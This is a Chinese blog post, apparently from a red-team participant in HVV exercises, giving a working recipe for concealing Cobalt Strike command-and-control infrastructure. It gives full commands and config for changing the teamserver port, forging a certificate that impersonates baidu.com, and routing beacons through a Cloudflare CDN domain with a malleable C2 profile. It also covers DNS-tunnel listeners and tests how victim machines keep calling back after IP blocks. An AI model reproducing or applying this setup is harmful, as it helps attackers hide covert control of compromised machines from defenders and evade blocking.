每次HVV时都会用到Cobalt Strike,关键时候怕被反制出来,这里记录一下,备忘。重点是对自己IP和流量的隐藏,已经被标记好多个恶意IP了,VPS换IP换不起了

0x01 隐藏Cobalt Strike特征

最近HVV各种网站对IP进行恶意标记,不说流量,起码IP得隐藏起来。网上教程很多,这里重点记录一下利用CDN的方法。

1. 修改CS默认端口

编辑teamserver文件,修改最后一行port参数进行修改。端口50050已经被标记烂了....
port

2. 修改证书指纹特征

CS文件夹里面有一个cobaltstrike.store文件,删除它。如果没有利用如下命令生成一个,同时把teamserver文件里也修改成如下命令。

keytool -keystore ./cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias baidu.com -dname "CN=baidu.com, OU=service operation department, O=Beijing Baidu Netcom Science Technology Co.\, Ltd, L=Beijing, S=Beijing, C=CN"

4. 利用CDN进行IP混淆

CDN需要用到cloudflare的证书,首先申请一个域名,建议在namesilo里挑个便宜的,之后在namesilo的控制台里把Nameserver指向cloudflare的DNS,该操作可能需要一段时间生效。
DNS
然后登录cloudflare,在DNS里添加一条A解析记录,并打开代理开关。
A
之后点击“SSL/TLS”将加密模式改为完全(严格),并点击源服务器创建证书,记得将公钥和私钥保存下来,分别存为server.pem和server.key。利用如下两条命令生成xxx.com.store文件,记得将xxx.com更换成自己解析的域名地址。

openssl pkcs12 -export -in server.pem -inkey server.key -out ***.com.p12 -name ***.com -passout pass:123456
keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore ***.com.store -srckeystore ***.com.p12 -srcstoretype PKCS12 -srcstorepass 123456 -alias ***.com

最后新建一个cloudflare.profile文件,文件内容如下。接下来将cloudflare.profile和***.com.store文件一起放到CS文件夹里面。

https-certificate {
    set keystore "***.com.store";
    set password "123456";
}
http-stager {
    set uri_x86 "/api/1";
    set uri_x64 "/api/2";
    client {
        header "Host" "***.com";}
    server {
        output{
        print;
        }
    }
        }
http-get {
    set uri "/api/3";
    client {
        header "Host" "***.com";
        metadata {
            base64;
            header "Cookie";
        }
        }
    server {
        output{
        print;
        }
    }
        }
http-post {
    set uri "/api/4";
    client {
        header "Host" "***.com";
        id {
            uri-append;
        }
        output{
        print;
        }
    }
    server {
        output{
        print;
        }
    }

}

0x02 启动Cobalt Strike

CS服务端需要Java环境,我用的是Ubuntu 20.04,直接apt一键安装

apt-get install openjdk-8-jdk

启动的时候记得加上之前的证书文件,这里说明一下cloudflare官方给出的代理端口,生成payload时一定要记得选对端口

nohup ./teamserver +IP +Pass cloudflare.profile

cloudfare-port

0x03 生成Payload

生成一个Windows的攻击载核,记得正确填写你解析的域名地址
payload

运行后,CS可以正确上线,并且显示CDN的外网IP地址
dif-ip
但是通过端口和抓包信息可以看到受害者电脑明显和一个未知的CDN节点进行通信。不知道通过防火墙封禁了该IP后受害者电脑会不会自动寻找新的CDN节点IP进行通信
wireshake
--------2021-05-02更新---------
同一环境下,通过路由器的访问控制封禁了某一个CDN的IP后,受害者电脑会自动寻找新的节点IP和CDN进行数据通信,理论上除非防火墙封禁cloudflare所有的节点IP,不然都可以进行回连。
waf

--------2021-07-02更新---------
通过防火墙封禁掉Nslookup解析出来的IP后就无法回连CS了,不是说CDN可以套很多个节点的吗?咋只有两个IP地址?
nslookup

--------2022-02-17更新---------
查资料了解到免费的Cloudflare账号只分配2个IP,这两个IP是固定不变的。这两个IP相当于只是一个入口IP,不同地区访问通过入口IP进入CF的库寻找合适的CDN节点进行访问,这样导致Cobalt Strike上的外部IP地址一直在变动。2个固定IP是官方规定的,后面是我查资料自己的理解

最常用的powershell在使用时有几点需要注意,不然无法正确上线CS

1. 注意Local Port需要选择上面官方指定的https端口之一
2. 需要勾选Enable SSL选项
3. Local Host填写自己解析的域名地址

powershell
可以看到powershell也能顺利上线。
dif-ips

5. 利用DNS进行IP隐藏

上面虽然隐藏了VPS的真实IP地址,但是现在护网看见国外IP一律封禁还是很烦的。利用DNS隧道可以绕过一些简单的防火墙和WAF。操作起来也很简单,首先在上面cloudflare的DNS解析里面加两条NS记录,结构如下

A      test     VPSIP
NS     ns1     test..com
NS     nc1     test.
.com

之后新建一个基于DNS协议的listeners,上面写上两个NS记录,下面随便写一个就好。
DNS
这里注意如果提示Error可能是VPS的端口被占用,我这里用的Ubuntu被一个systemd-resolved服务占用了,这里直接关闭就好

systemctl stop systemd-resolved

DNS木马上线时间比较长,耐心等待,上线后直接checkin,等一会就可以进行操作了。
DNS1
可以看到DNS木马成功上线,在受害者电脑上找不到端口连接信息,抓包分析也都是和DNS服务器在进行通信(这里dns指向了网关),算是进一步的隐藏了自己的身份。其实通过抓包可以看到数据流里面有之前指定的ns记录的域名地址,感觉还是不太隐蔽、至少域名暴露了,以后找到了更好的方法再继续更新

作者: Mari0er
链接: https://mari0er.club/post/cobaltstrike.html
版权: 本博客所有文章除特别声明外,均采用CC BY-NC-SA 4.0 许可协议。转载请注明出处!!